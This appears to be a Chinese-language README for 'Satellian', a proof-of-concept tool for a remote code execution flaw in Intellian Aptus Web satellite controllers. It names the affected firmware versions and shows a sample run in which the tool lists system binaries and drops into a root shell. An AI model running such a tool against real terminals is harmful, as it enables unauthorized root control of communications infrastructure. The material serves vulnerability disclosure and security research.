Satellian 是一个 PoC 脚本,展示了 Intellian 卫星控制器(Intellian Aptus Web)上的 RCE 漏洞。
以下脚本将尝试列出系统中所有可用的二进制文件,之后允许测试人员直接与服务器交互(通常以 root 身份)。
xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted>
________________________________________
(__) / \
(oo) ( Intellian Satellite Terminal PoC )
/-------\/ --' \________________________________________/
/ | ||
* ||----||
Performing initial scan. Listing available system binaries.
Starting request to http://<redacted>
Executing command /bin/ls /bin
acu_server
acu_tool
addgroup
adduser
...
Satellian $ id
uid=0(root) gid=0(root)
Intellian v1.12、v1.21、v1.24。
本仓库中的所有信息仅供教育目的使用。本仓库作者对任何滥用这些信息的行为概不负责。此脚本仅是一个概念验证,绝无任何恶意用途的开发意图。